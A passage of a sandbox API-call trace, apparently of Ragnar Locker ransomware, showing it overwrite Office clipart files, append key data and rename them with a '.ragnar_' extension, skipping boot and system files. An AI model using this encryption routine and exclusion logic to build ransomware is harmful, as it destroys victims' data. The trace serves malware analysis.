ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0083.575] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.575] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105234.WMF" | out: lpString1="J0105234.WMF") returned="J0105234.WMF" [0083.575] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned=".WMF" [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="autorun.inf") returned 1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="boot.ini") returned 1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="bootfont.bin") returned 1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="bootsect.bak") returned 1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="bootmgr") returned 1 [0083.575] lstrcmpiW (lpString1="J0105234.WMF", lpString2="bootmgr.efi") returned 1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="bootmgfw.efi") returned 1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="desktop.ini") returned 1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="iconcache.db") returned 1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="ntldr") returned -1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="ntuser.dat") returned -1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="ntuser.dat.log") returned -1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="ntuser.ini") returned -1 [0083.576] lstrcmpiW (lpString1="J0105234.WMF", lpString2="thumbs.db") returned -1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.576] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0083.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.577] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3444) returned 1 [0083.577] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.577] GetProcessHeap () returned 0x580000 [0083.577] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.577] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.578] VirtualAlloc (lpAddress=0x0, dwSize=0xd74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.579] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd74, lpOverlapped=0x0) returned 1 [0083.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.579] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd74, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.579] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd74, lpOverlapped=0x0) returned 1 [0083.579] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.579] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.579] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.579] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.579] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.580] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.580] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.580] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.580] GetProcessHeap () returned 0x580000 [0083.580] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.580] CloseHandle (hObject=0xf4) returned 1 [0083.580] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" [0083.580] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ragnar_FD7BD9FC" [0083.580] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0083.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.581] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105238.WMF" | out: lpString1="J0105238.WMF") returned="J0105238.WMF" [0083.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned=".WMF" [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="autorun.inf") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="boot.ini") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="bootfont.bin") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="bootsect.bak") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="bootmgr") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="bootmgr.efi") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="bootmgfw.efi") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="desktop.ini") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="iconcache.db") returned 1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="ntldr") returned -1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="ntuser.dat") returned -1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="ntuser.dat.log") returned -1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="ntuser.ini") returned -1 [0083.581] lstrcmpiW (lpString1="J0105238.WMF", lpString2="thumbs.db") returned -1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.581] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf")) returned 0x20 [0083.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.582] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17172) returned 1 [0083.582] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x430b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.582] GetProcessHeap () returned 0x580000 [0083.582] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.582] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.583] VirtualAlloc (lpAddress=0x0, dwSize=0x4314, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.583] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.583] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4314, lpOverlapped=0x0) returned 1 [0083.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.587] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4314, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.587] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4314, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4314, lpOverlapped=0x0) returned 1 [0083.587] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4314, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.587] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.587] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.587] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.587] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.587] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.587] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.588] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.588] GetProcessHeap () returned 0x580000 [0083.588] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.588] CloseHandle (hObject=0xf4) returned 1 [0083.588] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" [0083.588] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ragnar_FD7BD9FC" [0083.588] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.588] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0083.588] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.588] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105240.WMF" | out: lpString1="J0105240.WMF") returned="J0105240.WMF" [0083.588] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned=".WMF" [0083.588] lstrcmpiW (lpString1="J0105240.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="autorun.inf") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="boot.ini") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="bootfont.bin") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="bootsect.bak") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="bootmgr") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="bootmgr.efi") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="bootmgfw.efi") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="desktop.ini") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="iconcache.db") returned 1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="ntldr") returned -1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="ntuser.dat") returned -1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="ntuser.dat.log") returned -1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="ntuser.ini") returned -1 [0083.589] lstrcmpiW (lpString1="J0105240.WMF", lpString2="thumbs.db") returned -1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.589] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf")) returned 0x20 [0083.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.590] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11532) returned 1 [0083.590] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d03, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.590] GetProcessHeap () returned 0x580000 [0083.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.590] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.592] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.592] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d0c, lpOverlapped=0x0) returned 1 [0083.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.593] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d0c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.593] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d0c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d0c, lpOverlapped=0x0) returned 1 [0083.593] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d0c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.593] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.594] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.594] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.594] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.594] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.594] GetProcessHeap () returned 0x580000 [0083.594] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.594] CloseHandle (hObject=0xf4) returned 1 [0083.594] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" [0083.594] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ragnar_FD7BD9FC" [0083.594] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 [0083.595] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.595] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105244.WMF" | out: lpString1="J0105244.WMF") returned="J0105244.WMF" [0083.595] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF") returned=".WMF" [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", lpString2="autorun.inf") returned 1 [0083.595] lstrcmpiW (lpString1="J0105244.WMF", 